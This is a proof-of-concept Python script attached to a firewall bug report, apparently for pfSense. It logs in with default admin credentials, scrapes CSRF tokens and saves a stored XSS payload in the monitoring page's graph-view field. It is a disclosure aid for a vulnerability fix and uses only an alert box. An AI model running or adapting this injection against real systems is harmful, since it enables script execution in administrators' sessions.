Project

General

Profile

Bug #16920 ยป poc-xss-graphs.py

Jim Pingle, 06/30/2026 07:56 PM

 
1
#!/usr/bin/env python3
2
import requests
3
requests.packages.urllib3.disable_warnings()
4
from bs4 import BeautifulSoup
5

    
6
baseurl  = 'https://198.51.100.34'
7

    
8
target = baseurl + '/status_monitoring.php'
9

    
10
login_data = {
11
    'login'        : 'Login',
12
    'usernamefld'  : 'admin',
13
    'passwordfld'  : 'pfsense2',
14
}
15

    
16
target_data = {
17
	"category-left": "system",
18
	"graph-left": "\");alert('XSS');//",
19
	"category-right": "none",
20
	"time-period": "-1d",
21
	"resolution": "300",
22
	"graph-type": "line",
23
	"invert": "true",
24
	"refresh-interval": "0",
25
	"save-view": "true",
26
	"view-title": "default"
27
}
28

    
29
headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:151.0) Gecko/20100101 Firefox/151.0'}
30

    
31
with requests.Session() as s:
32
    # Fetch CSRF token from login page
33
    r = s.get(baseurl, headers=headers, verify=False)
34

    
35
    soup = BeautifulSoup(r.text, 'lxml')
36
    login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
37

    
38
    # Login
39
    r = s.post(baseurl, data=login_data, headers=headers)
40

    
41
    # Find the next CSRF token
42
    soup = BeautifulSoup(r.text, 'lxml')
43
    target_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
44

    
45
    # Submit actual request
46
    r = s.post(target, data=target_data, headers=headers)
47

    
48
    # Dump input errors from response
49
    soup = BeautifulSoup(r.text, 'lxml')
50
    input_errors = [errors.text for errors in soup.select('div.input-errors ul li')]
51
    if (input_errors):
52
        print("Input errors:\n")
53
        for ie in input_errors:
54
            print("* " + ie + "\n")
55

    
56
print('Done')
    (1-1/1)